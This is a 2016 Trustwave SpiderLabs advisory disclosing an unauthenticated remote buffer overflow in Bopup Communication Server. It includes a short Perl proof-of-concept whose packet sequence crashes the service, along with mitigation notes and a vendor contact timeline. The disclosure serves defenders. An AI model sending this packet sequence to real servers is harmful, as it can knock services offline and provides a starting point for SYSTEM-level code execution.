Trustwave SpiderLabs Security Advisory TWSL2016-020:
Buffer Overflow Vulnerability in B Labs Bopup Communication Server

Published: 11/03/2016
Version: 1.0

Vendor: B Labs (http://www.bopup.com/)
Product: Bopup Communication Server
Version affected: <= 4.5.3.13001

Product description:
Bopup Communication Server is a secure messaging suite designed to provide 
efficient and private communication over networks of any size. The server meets 
most of the critical business needs, such as centralized management, the Active 
Directory (LDAP) support, message and file transfer logging.

Finding 1: Remote un-authenticated buffer overflow
Credit: Neil Kettle of Trustwave 

Bopup Communications Server contains a remotely exploitable buffer overflow in 
handling and parsing of packets to the remote administration port (19809/TCP) 
prior to authentication. Through this, an attacker can execute arbitrary code 
on the remote host with the privileges of the Bopup Communications Server, 
namely SYSTEM. The issue occurs due to a lack of bounds validation in several 
calls to memcpy with user-definable lengths with the destination buffer 
allocated on the stack.

The following Proof of Concept (PoC) builds a packet which when sent to the 
remote service causes an access violation to occur in the processing of the 
packet.

## bopup-poc.pl

    $buf = "\x79\xDF\x32\x01";
    send(SOCKET, $buf, 0);

    $buf = "\x9D\x00\x00\x00";  # op code
    $buf .= "\x80\x14\x00\x00"; # total length
    $buf .= "\x80\x14\x00\x00"; # smash length
    $buf .= "\x00\x00\x00\x00"; # extra length
    $buf .= "\x00\x00\x00\x00";
    send(SOCKET, $buf, 0);

    $buf = "A" x 0x1480;
    send(SOCKET, $buf, 0);

	
Remediation Steps:
There is no official fix.  However, this issue can be mitigated with the use 
of technologies, such as an Intrusion Prevention System (IPS). Vulnerability 
Scanners and Intrusion Detection Systems (IDS) may detect the 
presence of the vulnerability.  Trustwave has added coverage for its IDS/IPS 
platform.


Revision History:
07/14/2016 - Attempt to contact vendor
09/16/2016 - Attempt to contact vendor
10/14/2016 - Final Attempt to contact vendor
11/03/2016 - Advisory published


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About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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